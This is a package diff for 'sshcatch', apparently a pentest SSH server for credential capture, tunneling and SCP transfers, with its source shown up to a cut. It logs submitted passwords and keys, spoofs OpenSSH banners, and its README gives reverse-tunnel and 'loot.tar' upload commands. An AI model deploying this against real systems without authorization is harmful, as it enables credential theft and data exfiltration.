sshcatch 0.1.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,173 @@
1
+ Metadata-Version: 2.4
2
+ Name: sshcatch
3
+ Version: 0.1.0
4
+ Summary: Quick-deploy SSH server for tunneling and simple SCP transfers - never opens a shell.
5
+ Project-URL: Homepage, https://github.com/LorenzMap/sshcatch
6
+ Project-URL: Repository, https://github.com/LorenzMap/sshcatch
7
+ Project-URL: Issues, https://github.com/LorenzMap/sshcatch/issues
8
+ Author: LorenzMap
9
+ License-Expression: MIT
10
+ License-File: LICENSE
11
+ Keywords: pentest,scp,security,ssh,tunneling
12
+ Classifier: Development Status :: 4 - Beta
13
+ Classifier: Environment :: Console
14
+ Classifier: Intended Audience :: Information Technology
15
+ Classifier: Operating System :: POSIX :: Linux
16
+ Classifier: Programming Language :: Python :: 3
17
+ Classifier: Programming Language :: Python :: 3.10
18
+ Classifier: Programming Language :: Python :: 3.11
19
+ Classifier: Programming Language :: Python :: 3.12
20
+ Classifier: Programming Language :: Python :: 3.13
21
+ Classifier: Topic :: Security
22
+ Classifier: Topic :: System :: Networking
23
+ Requires-Python: >=3.10
24
+ Requires-Dist: asyncssh>=2.15
25
+ Description-Content-Type: text/markdown
26
+
27
+ # sshcatch
28
+
29
+ A quick-deploy SSH server for tunneling (local/remote/dynamic) and simple SCP
30
+ transfers - it NEVER opens a shell.
31
+
32
+ By default all features are disabled: connections are logged and closed.
33
+ Turn on what you need with the flags described below. Handy on an engagement
34
+ when you want a controlled SSH endpoint without using a full `sshd`.
35
+
36
+ Built on [asyncssh](https://github.com/ronf/asyncssh).
37
+
38
+ ## Install
39
+
40
+ ```
41
+ pip install sshcatch
42
+ ```
43
+
44
+ Or from source:
45
+
46
+ ```
47
+ git clone https://github.com/LorenzMap/sshcatch
48
+ cd sshcatch
49
+ pip install .
50
+ ```
51
+
52
+ Needs Python 3.10+. A host key is auto-generated in the working directory on
53
+ first run (or point `--host-key` at your own).
54
+
55
+ ## Usage
56
+
57
+ Because no shell is created on the server **always** use the `-N` flag on
58
+ your tunnel connections or you get disconnected instantly!
59
+
60
+ The SCP directory does intentionally **NOT** support subdirectories!
61
+
62
+ Log-only - just capture creds and full public keys:
63
+
64
+ ```
65
+ # Server
66
+ sshcatch -K
67
+
68
+ # Client
69
+ ssh user@host
70
+ ```
71
+
72
+ Let one user pull files via SCP/SFTP:
73
+
74
+ ```
75
+ # Server
76
+ sshcatch -u user:pass --scp-download
77
+
78
+ # Client
79
+ scp user@host:secret.txt .
80
+ ```
81
+
82
+ Let anyone tunnel through the server (local and dynamic forwards):
83
+
84
+ ```
85
+ # Server
86
+ sshcatch --open-auth --forward
87
+
88
+ # Client
89
+ ssh -NL 8080:internal:80 user@host # local forward
90
+ ssh -ND 1080 user@host # dynamic (SOCKS)
91
+ ```
92
+
93
+ My favorite one - reverse tunnel and SCP uploads for the keys in
94
+ `./authorized-keys`, while posing as a ubuntu SSH server on port 2222:
95
+
96
+ ```
97
+ # Server
98
+ sshcatch --reverse --authorized-keys ./authorized-keys --scp-upload --version-banner ubuntu -p 2222
99
+
100
+ # Client
101
+ ssh -NR 9000:localhost:22 user@host -p 2222 # reverse tunnel
102
+ scp -P 2222 loot.tar user@host:. # upload
103
+ ```
104
+
105
+ ## Options
106
+
107
+ ```
108
+ usage: sshcatch [-h] [--version] [-p PORT] [-b BIND] [--host-key FILE]
109
+ [-u USER:PASS] [--open-auth] [--authorized-keys FILE] [-K]
110
+ [--forward] [--reverse] [--scp-upload] [--scp-download]
111
+ [--scp-dir DIR] [--version-banner STRING]
112
+ [--pre-auth-banner STRING] [--post-auth-banner STRING]
113
+ [-o FILE] [-t] [--plain]
114
+
115
+ options:
116
+ -h, --help show this help message and exit
117
+ --version show program's version number and exit
118
+ -p PORT, --port PORT listen port (default: 22)
119
+ -b BIND, --bind BIND bind address (default: all IPv4/v6 interfaces)
120
+ --host-key FILE server host key file (default: auto-generate)
121
+
122
+ authentication:
123
+ -u USER:PASS, --user USER:PASS
124
+ allowed user:password (repeatable)
125
+ --open-auth accept any credentials (open mode)
126
+ --authorized-keys FILE
127
+ authorized_keys file for key auth (username
128
+ independent)
129
+ -K, --full-keys log the full offered public key, not just its
130
+ fingerprint
131
+
132
+ tunneling:
133
+ --forward enable forward tunnels (client: ssh -NL / -ND)
134
+ --reverse enable reverse tunnels (client: ssh -NR)
135
+
136
+ SCP / file transfer:
137
+ --scp-upload enable file upload (SCP/SFTP write) - subdirectories
138
+ are disabled - files get suffix instead of overwriting
139
+ --scp-download enable file download (SCP/SFTP read) - subdirectories
140
+ are disabled
141
+ --scp-dir DIR directory for SCP/SFTP (default: cwd) - subdirectories
142
+ are disabled - host-key (and optional authorized_keys
143
+ and logfile) are protected
144
+
145
+ banners:
146
+ --version-banner STRING
147
+ sent as 'SSH-2.0-STRING' version banner - presets
148
+ (case-insensitive): ubuntu, debian, dropbear, windows,
149
+ macos
150
+ --pre-auth-banner STRING
151
+ banner shown to every client before login
152
+ --post-auth-banner STRING
153
+ banner shown only to clients that authenticate
154
+ successfully
155
+
156
+ logging:
157
+ -o FILE, --output FILE
158
+ append the log to FILE (plain with timestamps)
159
+ -t, --timestamps prefix console lines with a timestamp
160
+ --plain disable ANSI colors on the console
161
+ ```
162
+
163
+ ## A word of warning
164
+
165
+ - This is a pentesting tool. Only point it at systems and networks you are
166
+ authorized to test.
167
+
168
+ - `--open-auth --forward` means ANYONE can tunnel through
169
+ your host - know what you're exposing before you run it.
170
+
171
+ ## License
172
+
173
+ MIT
@@ -0,0 +1,6 @@
1
+ sshcatch.py,sha256=au7shiWQWF2_Vjrhys2v-xMi9gsrdkjezzj0NlFqD_c,26867
2
+ sshcatch-0.1.0.dist-info/METADATA,sha256=_udofMW4_u40d8Pj8N0aZEvNhpwQePBuquf4HRivPI8,5508
3
+ sshcatch-0.1.0.dist-info/WHEEL,sha256=lCkmxWfQsSc9CfIClYeavTdQeEX2toPqufh9gI35EQA,87
4
+ sshcatch-0.1.0.dist-info/entry_points.txt,sha256=Th3jNLUpa_qBzYPbG-2RdwGHVHtgBieweYuC6VHOUPY,43
5
+ sshcatch-0.1.0.dist-info/licenses/LICENSE,sha256=93O_1lhlvOC-EguDWXlZrhtzjsoKQ5_8JwTj5BYVP5U,1066
6
+ sshcatch-0.1.0.dist-info/RECORD,,
@@ -0,0 +1,4 @@
1
+ Wheel-Version: 1.0
2
+ Generator: hatchling 1.31.0
3
+ Root-Is-Purelib: true
4
+ Tag: py3-none-any
@@ -0,0 +1,2 @@
1
+ [console_scripts]
2
+ sshcatch = sshcatch:main
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 LorenzMap
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
sshcatch.py ADDED
@@ -0,0 +1,625 @@
1
+ #!/usr/bin/env python3
2
+ """
3
+ sshcatch - a quick-deploy SSH server for tunneling (local/remote/dynamic)
4
+ and simple SCP transfers (NEVER opens a shell!).
5
+ """
6
+
7
+ import argparse
8
+ import asyncio
9
+ import logging
10
+ import os
11
+ import posixpath
12
+ import sys
13
+ from pathlib import Path
14
+ from itertools import count
15
+
16
+ import asyncssh
17
+
18
+ __version__ = "0.1.0"
19
+
20
+ # ── Logging ─--────────────────────────────────────────────────────────
21
+
22
+ RED = "\033[91m"
23
+ GREEN = "\033[92m"
24
+ YELLOW = "\033[93m"
25
+ PURPLE = "\033[95m"
26
+ CYAN = "\033[96m"
27
+ BOLD = "\033[1m"
28
+ RST = "\033[0m"
29
+
30
+ def configure_logging(output=None, timestamps=False, plain=False):
31
+ logger = logging.getLogger("sshcatch")
32
+ logger.setLevel(logging.INFO)
33
+ logger.propagate = False
34
+ logger.handlers.clear()
35
+
36
+ # Setup console logging
37
+ field = "plain" if plain else "colored"
38
+ line = f"%({field})s %(message)s"
39
+ if timestamps:
40
+ line = "%(asctime)s " + line
41
+ out = logging.StreamHandler(sys.stdout)
42
+ out.setFormatter(logging.Formatter(line, datefmt="%Y-%m-%d %H:%M:%S"))
43
+ logger.addHandler(out)
44
+
45
+ # Setup File Logging
46
+ if output:
47
+ file_handler = logging.FileHandler(output, mode="a", encoding="utf-8")
48
+ file_handler.setFormatter(logging.Formatter("%(asctime)s %(plain)s %(message)s",
49
+ datefmt="%Y-%m-%d %H:%M:%S"))
50
+ logger.addHandler(file_handler)
51
+
52
+ def _log(tag, color, msg, addr=None, user=None):
53
+ logger = logging.getLogger("sshcatch")
54
+ loc = (f"{BOLD}[{addr}]{RST}" if addr else "") + (f"{BOLD}[{user}]{RST}" if user else "")
55
+ colored = f"{color}[{tag}]{RST}" + loc
56
+ plain = f"[{tag}]" + (f"[{addr}]" if addr else "") + (f"[{user}]" if user else "")
57
+ logger.info(msg, extra={"colored": colored, "plain": plain})
58
+
59
+ def log_conn(msg, addr=None, user=None):
60
+ _log("+", GREEN, msg, addr, user)
61
+
62
+ def log_auth(msg, success=False, addr=None, user=None):
63
+ _log("AUTH", GREEN if success else YELLOW, msg, addr, user)
64
+
65
+ def log_scp(msg, addr=None, user=None):
66
+ _log("SCP", PURPLE, msg, addr, user)
67
+
68
+ def log_tunnel(msg, addr=None, user=None):
69
+ _log("TUNNEL", CYAN, msg, addr, user)
70
+
71
+ def log_info(msg, addr=None, user=None):
72
+ _log("*", BOLD, msg, addr, user)
73
+
74
+ def addr_str(host, port):
75
+ if ":" in str(host): return f"[{host}]:{port}"
76
+ else: return f"{host}:{port}"
77
+
78
+
79
+ # ── SFTP server ───────────────────────────────────────────────────────
80
+
81
+ DENY = asyncssh.SFTPPermissionDenied
82
+
83
+ class SFTPCatchServer(asyncssh.SFTPServer):
84
+ def __init__(self, chan, chroot, allow_upload, allow_download, protected_files=()):
85
+ super().__init__(chan, chroot=chroot)
86
+ self._root = Path(chroot)
87
+ self._allow_upload = allow_upload
88
+ self._allow_download = allow_download
89
+ self._protected_files = set(protected_files)
90
+ conn = chan.get_connection()
91
+ self._user = conn.get_extra_info("username") or "?"
92
+ peer = conn.get_extra_info("peername")
93
+ self._addr = addr_str(peer[0], peer[1]) if peer else "?"
94
+ self._log_scp("Session opened")
95
+
96
+ def _log_scp(self, msg):
97
+ log_scp(msg, addr=self._addr, user=self._user)
98
+
99
+ # ── path checks ──────────────────────────────────────────────
100
+
101
+ def _require_flat(self, path):
102
+ # Simple check if subdirectories are used - full 'name' must be equal to basename
103
+ name = path.lstrip(b"/")
104
+ if name in (b"", b".", b"..") or name != posixpath.basename(name):
105
+ self._log_scp(f"DENIED ACCESS {path.decode(errors='replace')}")
106
+ raise DENY("Access restricted to root directory")
107
+
108
+ def _require_not_protected(self, path):
109
+ # Prevent access to protected files in the scp dir
110
+ # (authorized_keys, host key, log file)
111
+ if os.fsdecode(posixpath.basename(path)) in self._protected_files:
112
+ self._log_scp(f"DENIED PROTECTED {path.decode(errors='replace')}")
113
+ raise DENY("Not allowed")
114
+
115
+ def _unique_write_path(self, path):
116
+ # Check if the upload overwrites something
117
+ # Watch out: asyncssh SFTP uses posixpath independently of the actual OS
118
+ base = posixpath.basename(path)
119
+ if not (self._root / os.fsdecode(base)).exists():
120
+ return path
121
+ # Simply add a number until we are unique
122
+ stem, ext = posixpath.splitext(base)
123
+ for n in count(1):
124
+ name = b"%s_%d%s" % (stem, n, ext)
125
+ if not (self._root / os.fsdecode(name)).exists():
126
+ return b"/" + name
127
+
128
+ # ── session / file handling ──────────────────────────────────
129
+
130
+ def open(self, path, pflags, attrs):
131
+ self._require_flat(path)
132
+ self._require_not_protected(path)
133
+ is_write = bool(pflags & (0x02 | 0x04 | 0x08)) # WRITE|APPEND|CREAT
134
+
135
+ if is_write and not self._allow_upload:
136
+ self._log_scp(f"DENIED WRITE {path.decode(errors='replace')}")
137
+ raise DENY("Upload is disabled")
138
+ if not is_write and not self._allow_download:
139
+ self._log_scp(f"DENIED READ {path.decode(errors='replace')}")
140
+ raise DENY("Download is disabled")
141
+
142
+ # Prevent overwriting existing files
143
+ if is_write:
144
+ unique = self._unique_write_path(path)
145
+ if unique != path:
146
+ self._log_scp(f"EXISTS {path.decode(errors='replace')} -> "
147
+ f"{unique.decode(errors='replace')}")
148
+ path = unique
149
+
150
+ label = "WRITE" if is_write else "READ"
151
+ self._log_scp(f"{label} {path.decode(errors='replace')}")
152
+ return super().open(path, pflags, attrs)
153
+
154
+ def exit(self):
155
+ self._log_scp("Session closed")
156
+ return super().exit()
157
+
158
+ # ── blocked operation overwritten for better logging ────────────
159
+
160
+ def remove(self, path):
161
+ self._log_scp(f"DENIED DELETE {path.decode(errors='replace')}")
162
+ raise DENY("Not allowed")
163
+
164
+ def rename(self, old, new):
165
+ self._log_scp(f"DENIED RENAME {old.decode(errors='replace')}")
166
+ raise DENY("Not allowed")
167
+
168
+ def mkdir(self, path, attrs):
169
+ self._log_scp(f"DENIED MKDIR {path.decode(errors='replace')}")
170
+ raise DENY("Not allowed")
171
+
172
+ def rmdir(self, path):
173
+ self._log_scp(f"DENIED RMDIR {path.decode(errors='replace')}")
174
+ raise DENY("Not allowed")
175
+
176
+ def link(self, old, new):
177
+ self._log_scp(f"DENIED LINK {old.decode(errors='replace')}")
178
+ raise DENY("Not allowed")
179
+
180
+ def symlink(self, old, new):
181
+ self._log_scp(f"DENIED SYMLINK {old.decode(errors='replace')}")
182
+ raise DENY("Not allowed")
183
+
184
+ def scandir(self, path):
185
+ self._log_scp(f"DENIED LISTDIR {path.decode(errors='replace')}")
186
+ raise DENY("Not allowed")
187
+
188
+ # Overwriting every possible method on our SFTP server to prevent
189
+ # unintended access
190
+ # Will probably break on bigger asyncssh updates
191
+ _SFTP_ALL_OPS = {
192
+ # file I/O
193
+ "open", "open56", "close", "read", "write",
194
+ # attributes
195
+ "stat", "lstat", "fstat", "setstat", "lsetstat", "fsetstat",
196
+ # directory
197
+ "scandir", "mkdir", "rmdir",
198
+ # path ops
199
+ "realpath", "readlink", "symlink", "link", "rename", "posix_rename", "remove",
200
+ # filesystem
201
+ "statvfs", "fstatvfs", "fsync",
202
+ # locking
203
+ "lock", "unlock",
204
+ # lifecycle
205
+ "exit",
206
+ # internal helpers (called by base class, not by SFTP packets)
207
+ "map_path", "reverse_map_path",
208
+ "format_user", "format_group", "format_longname",
209
+ "convert_attrs",
210
+ }
211
+
212
+ # Only these are allowed because they are required for basic filetransfer
213
+ # Most of them follow symlinks, which we prevent by checking the scp directory
214
+ # for them before start and don't even allow the server to run if they exist
215
+ _SFTP_WHITELIST = {
216
+ "open", # overridden above (with subdirectory prevention)
217
+ "close", # required to close file handles after read/write
218
+ "read", # required for file download (SCP get)
219
+ "write", # required for file upload (SCP put)
220
+ "stat", # SCP protocol queries file size/perms before transfer
221
+ "lstat", # like stat, but doesn't follow symlinks
222
+ "fstat", # stat on open file handle
223
+ "setstat", # SCP sets permissions and timestamps after upload
224
+ "fsetstat", # same as setstat but on an open file handle
225
+ "realpath", # resolves "." and ".." for path canonicalization
226
+ "exit", # overridden above
227
+ # internal helpers - blocking these would break the server
228
+ "map_path", "reverse_map_path",
229
+ "format_user", "format_group", "format_longname",
230
+ "convert_attrs",
231
+ }
232
+
233
+ def _make_sftp_deny(method_name):
234
+ # Lets do some funky overwriting
235
+ def denied(self, *args, **kwargs):
236
+ self._log_scp(f"DENIED {method_name}")
237
+ raise DENY("Not allowed")
238
+ denied.__name__ = method_name
239
+ return denied
240
+
241
+ # Block everything not whitelisted
242
+ # and skip methods already overridden in our class
243
+ for _name in _SFTP_ALL_OPS - _SFTP_WHITELIST:
244
+ if _name not in SFTPCatchServer.__dict__:
245
+ setattr(SFTPCatchServer, _name, _make_sftp_deny(_name))
246
+
247
+
248
+ # ── SSH server factory ────────────────────────────────────────────────
249
+
250
+ def make_server_factory(args):
251
+ # Set up authentication once at startup to keep the runtime simpler
252
+ users = {}
253
+ if args.user:
254
+ for entry in args.user:
255
+ u, p = entry.split(":", 1)
256
+ users[u] = p
257
+
258
+ auth_keys_fps = set()
259
+ if args.authorized_keys:
260
+ for i, line in enumerate(args.authorized_keys.read_text().splitlines(), 1):
261
+ line = line.strip()
262
+ if not line or line.startswith('#'):
263
+ continue
264
+ try:
265
+ k = asyncssh.import_public_key(line)
266
+ fp = k.get_fingerprint()
267
+ auth_keys_fps.add(fp)
268
+ log_info(f"Loaded key line={i} fingerprint={fp}")
269
+ except Exception as e:
270
+ log_info(f"Invalid key line={i} {e}")
271
+
272
+ # --open-auth set: always return true
273
+ if args.open_auth: accept_password = lambda u, p: True
274
+ # --user set: check password
275
+ elif users: accept_password = lambda u, p: users.get(u) == p
276
+ # default: deny everything
277
+ else: accept_password = lambda u, p: False
278
+
279
+ # --open-auth set: always return true
280
+ if args.open_auth: accept_key = lambda fp: True
281
+ # --authorized-keys set: check the key
282
+ elif auth_keys_fps: accept_key = lambda fp: fp in auth_keys_fps
283
+ # default: deny everything
284
+ else: accept_key = lambda fp: False
285
+
286
+ log_only = not (args.scp_upload or args.scp_download or args.forward or args.reverse)
287
+
288
+ class SSHCatchServer(asyncssh.SSHServer):
289
+ def connection_made(self, conn):
290
+ self._conn = conn
291
+ self._version_logged = False
292
+ # save last key fingerprint to dedup key probe/sign
293
+ self._last_key_fp = None
294
+ # track if we already sent the post-auth banner
295
+ self._post_sent = False
296
+ peer = conn.get_extra_info("peername")
297
+ self._addr = addr_str(peer[0], peer[1]) if peer else "?"
298
+ log_conn("Connection opened", addr=self._addr)
299
+
300
+ def _log_client_version(self):
301
+ if self._version_logged: return
302
+ version = self._conn.get_extra_info("client_version")
303
+ if version:
304
+ self._version_logged = True
305
+ log_conn(f"Client version: {version}", addr=self._addr)
306
+
307
+ def connection_lost(self, exc):
308
+ # fallback for clients that grab the banner and drop without auth
309
+ self._log_client_version()
310
+ user = self._conn.get_extra_info("username")
311
+ if exc: log_conn(f"Connection lost: {exc}", addr=self._addr, user=user)
312
+ else: log_conn("Connection closed", addr=self._addr, user=user)
313
+
314
+ # -- banner ---------------------------------------------------
315
+
316
+ def _send_banner(self, text):
317
+ # Send auth messages so we never have to open a session
318
+ self._conn.send_auth_banner(text if text.endswith("\n") else text + "\n")
319
+
320
+ def begin_auth(self, username):
321
+ self._log_client_version()
322
+ if args.pre_auth_banner:
323
+ self._send_banner(args.pre_auth_banner)
324
+ return True
325
+
326
+ def _post_auth(self):
327
+ # guarded because key auth may call this twice (probe + sign)
328
+ if args.post_auth_banner and not self._post_sent:
329
+ self._post_sent = True
330
+ self._send_banner(args.post_auth_banner)
331
+
332
+ # -- authentication -------------------------------------------
333
+
334
+ def public_key_auth_supported(self):
335
+ # always accept offers so we can log them
336
+ return True
337
+
338
+ def validate_public_key(self, username, key):
339
+ fp = key.get_fingerprint()
340
+ accepted = accept_key(fp)
341
+ # we log only the first time we see a key because clients
342
+ # may send probe first and then sign
343
+ if fp != self._last_key_fp:
344
+ self._last_key_fp = fp
345
+ if accepted: log_auth(f"Key accepted: {fp}", success=True, addr=self._addr, user=username)
346
+ else: log_auth(f"Key rejected: {fp}", success=False, addr=self._addr, user=username)
347
+ if args.full_keys: log_auth(f" {key.export_public_key().decode().strip()}", addr=self._addr, user=username)
348
+ if accepted:
349
+ self._post_auth()
350
+ # Schedule to close the connection if we dont need it
351
+ if log_only: self._schedule_close()
352
+ return accepted
353
+
354
+ def password_auth_supported(self):
355
+ # always accept passwords so we can log them
356
+ return True
357
+
358
+ def validate_password(self, username, password):
359
+ accepted = accept_password(username, password)
360
+ if accepted:
361
+ log_auth(f"Password accepted: {password}", success=True, addr=self._addr, user=username)
362
+ self._post_auth()
363
+ # Schedule to close the connection if we dont need it
364
+ if log_only: self._schedule_close()
365
+ else:
366
+ log_auth(f"Password rejected: {password}", success=False, addr=self._addr, user=username)
367
+ return accepted
368
+
369
+ def _schedule_close(self):
370
+ asyncio.get_running_loop().call_later(0.5, self._conn.close)
371
+
372
+ # -- tunneling ------------------------------------------------
373
+
374
+ def connection_requested(self, dest_host, dest_port, orig_host, orig_port):
375
+ user = self._conn.get_extra_info("username")
376
+ if not args.forward:
377
+ log_tunnel(f"DENIED forward {addr_str(orig_host, orig_port)} -> "
378
+ f"{addr_str(dest_host, dest_port)}", addr=self._addr, user=user)
379
+ return False
380
+ log_tunnel(f"Forward {addr_str(orig_host, orig_port)} -> "
381
+ f"{addr_str(dest_host, dest_port)}", addr=self._addr, user=user)
382
+ return True
383
+
384
+ def server_requested(self, listen_host, listen_port):
385
+ user = self._conn.get_extra_info("username")
386
+ if not args.reverse:
387
+ log_tunnel(f"DENIED reverse {addr_str(listen_host, listen_port)}", addr=self._addr, user=user)
388
+ return False
389
+ log_tunnel(f"Reverse listen on {addr_str(listen_host, listen_port)}", addr=self._addr, user=user)
390
+
391
+ def accept(orig_host, orig_port):
392
+ # Log the connection - real target is requested/resolved on the
393
+ # client so we can't show it (decided against packet inspection)
394
+ log_tunnel(f"Reverse {addr_str(orig_host, orig_port)} on "
395
+ f"{addr_str(listen_host, listen_port)}", addr=self._addr, user=user)
396
+ return True
397
+ return accept
398
+
399
+ return SSHCatchServer
400
+
401
+
402
+ # ── Server start ──────────────────────────────────────────────────────
403
+
404
+ async def start_server(args):
405
+ # Handle Host key
406
+ key_path = args.host_key if args.host_key else Path.cwd()
407
+ if key_path.is_dir():
408
+ key_path = key_path / "sshcatch_host_key"
409
+ if not key_path.parent.is_dir():
410
+ raise FileNotFoundError(f"Host key directory does not exist: {key_path.parent}")
411
+
412
+ if key_path.is_file():
413
+ host_key = asyncssh.read_private_key(str(key_path))
414
+ log_info(f"Read host key: {key_path}")
415
+ else:
416
+ host_key = asyncssh.generate_private_key("ssh-rsa", key_size=2048)
417
+ host_key.write_private_key(str(key_path))
418
+ log_info(f"Generated host key: {key_path}")
419
+ if os.name == "posix": key_path.chmod(0o600)
420
+ else: log_info(f"Please make sure the permissions on the host key are securely set!")
421
+ fingerprint = host_key.get_fingerprint()
422
+
423
+ # Build the connection options for the ssh server
424
+ opts = {
425
+ "server_factory": make_server_factory(args),
426
+ "server_host_keys": [host_key],
427
+ # SFTPv3 only so all transfers use open() and not open56()
428
+ "sftp_version": 3,
429
+ }
430
+ if args.version_banner:
431
+ opts["server_version"] = args.version_banner
432
+
433
+ has_scp = args.scp_upload or args.scp_download
434
+ if has_scp:
435
+ scp_dir = args.scp_dir.resolve()
436
+ protected_files = {
437
+ p.resolve().name
438
+ for p in (key_path, args.authorized_keys, args.output)
439
+ if p is not None and p.resolve().parent == scp_dir
440
+ }
441
+ if protected_files:
442
+ log_info(f"Protected in scp dir: {', '.join(sorted(protected_files))}")
443
+ opts["sftp_factory"] = lambda chan: SFTPCatchServer(
444
+ chan, chroot=str(scp_dir),
445
+ allow_upload=args.scp_upload, allow_download=args.scp_download,
446
+ protected_files=protected_files,
447
+ )
448
+ opts["allow_scp"] = True
449
+ else:
450
+ # We dont even create the SFTP Server if we dont have to
451
+ def denied_sftp(chan):
452
+ conn = chan.get_connection()
453
+ user = conn.get_extra_info("username") or "?"
454
+ peer = conn.get_extra_info("peername")
455
+ addr = addr_str(peer[0], peer[1]) if peer else "?"
456
+ log_scp("DENIED SFTP", addr=addr, user=user)
457
+ raise asyncssh.SFTPPermissionDenied("SCP/SFTP is disabled")
458
+ opts["sftp_factory"] = denied_sftp
459
+ # We allow logins however so we can log connections and credentials
460
+ opts["allow_scp"] = True
461
+
462
+ # Create our options object so everything is validated against asyncssh before we print it
463
+ options = await asyncssh.SSHServerConnectionOptions.construct(**opts)
464
+
465
+ # Print Startup Information
466
+ if args.bind: bind = addr_str(args.bind, args.port)
467
+ else: bind = f"{addr_str('0.0.0.0', args.port)} {addr_str('::', args.port)}"
468
+ if args.open_auth: auth_mode = "open (accept any)"
469
+ elif args.user or args.authorized_keys: auth_mode = "restricted"
470
+ else: auth_mode = "reject all (no auth configured)"
471
+ features = []
472
+ if args.forward: features.append("forward-tunnel")
473
+ if args.reverse: features.append("reverse-tunnel")
474
+ if args.scp_upload: features.append("scp-upload")
475
+ if args.scp_download: features.append("scp-download")
476
+ if not features: features.append("log-only (connect & close)")
477
+
478
+ if args.plain: print(f"\n-- sshcatch --")
479
+ else: print(f"\n{BOLD}sshcatch{RST}")
480
+ print(f" Listen ........ {bind}")
481
+ print(f" Auth .......... {auth_mode}")
482
+ print(f" Features ...... {', '.join(features)}")
483
+ if has_scp: print(f" SCP dir ....... {args.scp_dir.resolve()}")
484
+ print(f" Version ....... SSH-2.0-{options.version.decode()}")
485
+ if args.pre_auth_banner: print(f" Pre-auth ...... set")
486
+ if args.post_auth_banner: print(f" Post-auth ..... set")
487
+ print(f" Host key ...... {fingerprint}")
488
+ print(f" Key file ...... {key_path}")
489
+ print()
490
+
491
+ await asyncssh.listen(host=args.bind, port=args.port, options=options)
492
+ await asyncio.Event().wait() # run forever
493
+
494
+
495
+ # ── Main ──────────────────────────────────────────────────────────────
496
+
497
+ # Quick --version-banner presets: keyword -> realistic 'SSH-2.0-<value>' banner.
498
+ VERSION_PRESETS = {
499
+ "ubuntu": "OpenSSH_9.6p1 Ubuntu-3ubuntu13.5",
500
+ "debian": "OpenSSH_9.2p1 Debian-2+deb12u3",
501
+ "dropbear": "dropbear_2022.83",
502
+ "windows": "OpenSSH_for_Windows_9.5",
503
+ "macos": "OpenSSH_9.8",
504
+ }
505
+
506
+ _description="""\
507
+ sshcatch - a quick-deploy SSH server for tunneling (local/remote/dynamic)
508
+ and simple SCP transfers (NEVER opens a shell!).
509
+ By default all features are disabled: connections are logged and
510
+ closed. Use flags to enable features.
511
+ """
512
+
513
+ _epilog="""\
514
+ examples:
515
+ %(prog)s -K Log-only (capture creds and full public keys)
516
+ %(prog)s -u user:pass --scp-download Allow one user to download via SCP/SFTP
517
+ %(prog)s --open-auth --forward Allow ANYONE! to tunnel through this SSH server
518
+ # My favorite one
519
+ # Allows reverse tunnels and uploads via SCP for the keys in ./authorized_keys
520
+ # while posing as a ubuntu SSH server on port 2222
521
+ %(prog)s --reverse --authorized-keys ./authorized-keys --scp-upload --version-banner ubuntu -p 2222
522
+ """
523
+
524
+ def main():
525
+ parser = argparse.ArgumentParser(
526
+ description=_description,
527
+ formatter_class=argparse.RawDescriptionHelpFormatter,
528
+ epilog=_epilog)
529
+ parser.add_argument("--version", action="version",
530
+ version=f"%(prog)s {__version__}")
531
+ parser.add_argument("-p", "--port", type=int, default=22,
532
+ help="listen port (default: 22)")
533
+ parser.add_argument("-b", "--bind", default="",
534
+ help="bind address (default: all IPv4/v6 interfaces)")
535
+ parser.add_argument("--host-key", metavar="FILE", type=Path,
536
+ help="server host key file (default: auto-generate)")
537
+
538
+ auth = parser.add_argument_group("authentication")
539
+ auth.add_argument("-u", "--user", action="append", metavar="USER:PASS",
540
+ help="allowed user:password (repeatable)")
541
+ auth.add_argument("--open-auth", action="store_true",
542
+ help="accept any credentials (open mode)")
543
+ auth.add_argument("--authorized-keys", metavar="FILE", type=Path,
544
+ help="authorized_keys file for key auth (username independent)")
545
+ auth.add_argument("-K", "--full-keys", action="store_true",
546
+ help="log the full offered public key, not just its fingerprint")
547
+
548
+ tunnel = parser.add_argument_group("tunneling")
549
+ tunnel.add_argument("--forward", action="store_true",
550
+ help="enable forward tunnels (client: ssh -NL / -ND)")
551
+ tunnel.add_argument("--reverse", action="store_true",
552
+ help="enable reverse tunnels (client: ssh -NR)")
553
+
554
+ scp = parser.add_argument_group("SCP / file transfer")
555
+ scp.add_argument("--scp-upload", action="store_true",
556
+ help="enable file upload (SCP/SFTP write) - subdirectories are disabled - "
557
+ "files get suffix instead of overwriting")
558
+ scp.add_argument("--scp-download", action="store_true",
559
+ help="enable file download (SCP/SFTP read) - subdirectories are disabled")
560
+ scp.add_argument("--scp-dir", default=Path.cwd(), metavar="DIR", type=Path,
561
+ help="directory for SCP/SFTP (default: cwd) - subdirectories are disabled - "
562
+ "host-key (and optional authorized_keys and logfile) are protected")
563
+
564
+ banners = parser.add_argument_group("banners")
565
+ banners.add_argument("--version-banner", metavar="STRING",
566
+ help="sent as 'SSH-2.0-STRING' version banner - "
567
+ f"presets (case-insensitive): {', '.join(VERSION_PRESETS)}")
568
+ banners.add_argument("--pre-auth-banner", metavar="STRING",
569
+ help="banner shown to every client before login")
570
+ banners.add_argument("--post-auth-banner", metavar="STRING",
571
+ help="banner shown only to clients that authenticate successfully")
572
+
573
+ logs = parser.add_argument_group("logging")
574
+ logs.add_argument("-o", "--output", metavar="FILE", type=Path,
575
+ help="append the log to FILE (plain with timestamps)")
576
+ logs.add_argument("-t", "--timestamps", action="store_true",
577
+ help="prefix console lines with a timestamp")
578
